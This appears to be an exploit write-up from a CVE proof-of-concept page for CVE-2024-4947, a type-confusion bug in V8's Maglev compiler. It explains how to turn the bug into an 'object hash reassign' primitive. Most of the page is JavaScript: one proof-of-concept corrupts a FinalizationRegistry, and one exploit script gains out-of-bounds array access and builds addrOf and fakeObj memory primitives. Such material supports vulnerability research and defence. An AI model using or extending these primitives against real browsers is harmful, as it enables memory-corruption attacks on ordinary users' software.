4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Analysis.md MD
# CVE-2024-4947

Author: Jack Ren ([@bjrjk](https://github.com/bjrjk))

## Object Hash Reassign

### Overview

Analyses for CVE-2024-12695 introduced a brand new exploit pattern, *Object Hash Reassign*. By assigning the same object with different hashes twice, attackers can finally achieve full control of V8 Sandbox. \[[3][3], [4][4]\]

We've discovered a method to transform this vulnerability to achieve *Object Hash Reassign*. In that case, it's exploitable. The brief escalate process is listed as follows.

The original PoC could assign a tagged value to `JSModuleNamespace->properties_or_hash->map`. To utilize this behaviour, we fake a `Map` object whose `instance_type` is `NAME_DICTIONARY_TYPE`, and assign this object to the `map` field. As a consequence, the `properties_or_hash` switch its `instance_type` between `PropertyArray` and `NameDictionary`. As the hash is stored in `properties_or_hash` when object has properties, the store offset of `hash` is changed due to this type confusion. So the problem is reduced to *Object Hash Reassign* now.

### PoC

![](images/PointToRelation.png)

`PoCs/Modified/PoC2.mjs`:

```javascript
// out/x64.ReleaseAssertionDebug/d8 --allow-natives-syntax --expose-gc --module CVE-2024-4947/Exploit/PoC2.mjs

// Corrupt capacity of JSFinalizationRegistry->key_map and SIGSEGV

import * as m from 'Module.mjs';

m.p0; // m->properties_or_hash is PropertyArray
let y = new Array(1234); // 1234 will be m's hash after properties_or_hash->map reassigned
%DebugPrint(m); // PropertyArray(m->properties_or_hash) and JSArray(y) is adjacent

// Fake a map by using BigInt
const instance_type = 178n; // 16b, NAME_DICTIONARY_TYPE
let bit_field = 0b0n; // 8b
let bit_field2 = 0b0n; // 8b
let bit_field3 = 0b0n; // 32b
let fakeMap = instance_type + (bit_field << 16n) + (bit_field2 << 24n) + (bit_field3 << 32n);

function bar() {
  try {
    // It's not allowed to assign to property of module.
    // So wrapped it with try-catch clause.
    m.p0 = fakeMap;
  } catch (e) { }
}

function finalizationCallback() {
  console.log("finalizationCallback");
  for (let i = 0; i < 10; i++) {
    registry.register({ "target": 3 + i }, 3 + i, { "token": 3 + i });
  }
}

const registry = new FinalizationRegistry(finalizationCallback);
let target1 = { "a": 1 };
let target2 = { "a": 2 };

registry.register(target1, 1, m);
registry.register(target2, 2, m);
%DebugPrint(m); // m got a hash stored in high bits of `PropertyArray::kLengthAndHashOffset` (+4)

%PrepareFunctionForOptimization(bar);
bar();
%OptimizeMaglevOnNextCall(bar);
bar();
%DebugPrint(m); // Due to `properties_or_hash` is an `PropertyDictionary` now, hash stores in `FixedArray::OffsetOfElementAt(NameDictionary::kObjectHashIndex)` (+18), which is `y.length`

target2 = undefined;
console.log("Before GC");
gc();
console.log("After GC");
```

## Assign object hash to `JSArray.length`

### Overview

This idea is from [Kaspersky's official writeup][5]. According to the point-to-relation graph of previous section, the field `objectHash` of confused shape `NameDictionary` and field `length` of actual shape `JSArray` is aligned. If the `length` of `JSArray` is zero initially, we can trigger an operation to assign a hash to `NameDictionary.objectHash`. In that case, the hash is written to `JSArray.length` actually and the `JSArray` can be OOB accessed.

### Exploit

#### AddressOf & FakeObj

`PoCs/Modified/Exploit2.mjs`:

```javascript
// out/x64.ReleaseAssertionDebug/d8 --allow-natives-syntax --module CVE-2024-4947/Exploit/Exploit2.mjs

const ab = new ArrayBuffer(8);
const f64a = new Float64Array(ab, 0, 1);
const i32a = new Uint32Array(ab, 0, 2);
const bi64a = new BigUint64Array(ab, 0, 1);

function c2f(low, high = 0) { // combined (two 4 bytes) word to float
    i32a[0] = low;
    i32a[1] = high;
    return f64a[0];
}

function b2f(v) { // bigint to float
    bi64a[0] = v;
    return f64a[0];
}

function f2b(v) { // float to bigint
    f64a[0] = v;
    return bi64a[0];
}

function fhw(v) { // high word of float
    f64a[0] = v;
    return i32a[1];
}

function flw(v) { // low word of float
    f64a[0] = v;
    return i32a[0];
}

function unptr(v) {
    return v & 0xfffffffe;
}

function ptr(v) {
    return v | 1;
}


import * as m from 'Module.mjs';

const fakeMap = c2f(0x0000_0000, 0x0000_00B2); // instance_type: NAME_DICTIONARY_TYPE

function opt() {
    try {
        m.p0 = fakeMap;
    } catch (e) {
        return false;
    }
    return true;
}

function trigger() {
    m.p0; // Trigger `JSModuleNamespace.properties_or_hash` transition [NameDictionary => PropertyArray]
    const corruptArray = [1, 2]; // Allocated adjacently
    corruptArray.pop();
    corruptArray.pop();
    const doubleArray = [2.30234E-320, 2.30234E-320]; // Allocated adjacently; corruptArray[4-5, 6-7]

    // while (!opt());
    %PrepareFunctionForOptimization(opt);
    console.assert(!opt());
    %OptimizeMaglevOnNextCall(opt);
    console.assert(opt());

    new WeakRef(m); // Assign hash to `m`, thus the length of `corruptArray` got OOB written with a large value
    return { corruptArray, doubleArray };
}

const { corruptArray, doubleArray } = trigger();

// %DebugPrint(m);
// %DebugPrint(corruptArray);
// %DebugPrint(doubleArray);

function addrOf(obj) {
    corruptArray[4] = obj;
    return unptr(flw(doubleArray[0]));
}

// Only available after corruptArray transitioned from PACKED_SMI_ELEMENTS to PACKED_ELEMENTS
function fakeObj(addr) {
    doubleArray[0] = c2f(ptr(addr));
    return corruptArray[4];
}

let obj = {};
%DebugPrint(obj);
console.log(addrOf(obj).toString(16));
%DebugPrint(fakeObj(addrOf(obj)));
```

## References

1. https://issues.chromium.org/issues/340221135
2. https://web.archive.org/web/20250426073331/https://buptsb.github.io/blog/post/CVE-2024-4947-%20v8%20incorrect%20AccessInfo%20for%20module%20namespace%20object%20causes%20Maglev%20type%20confusion.html
3. https://issues.chromium.org/issues/383647255
4. https://bugscale.ch/blog/dissecting-cve-2024-12695-exploiting-object-assign-in-v8/
5. https://securelist.com/lazarus-apt-steals-crypto-with-a-tank-game/114282/

[1]: https://issues.chromium.org/issues/340221135
[2]: https://web.archive.org/web/20250426073331/https://buptsb.github.io/blog/post/CVE-2024-4947-%20v8%20incorrect%20AccessInfo%20for%20module%20namespace%20object%20causes%20Maglev%20type%20confusion.html
[3]: https://issues.chromium.org/issues/383647255
[4]: https://bugscale.ch/blog/dissecting-cve-2024-12695-exploiting-object-assign-in-v8/
[5]: https://securelist.com/lazarus-apt-steals-crypto-with-a-tank-game/114282/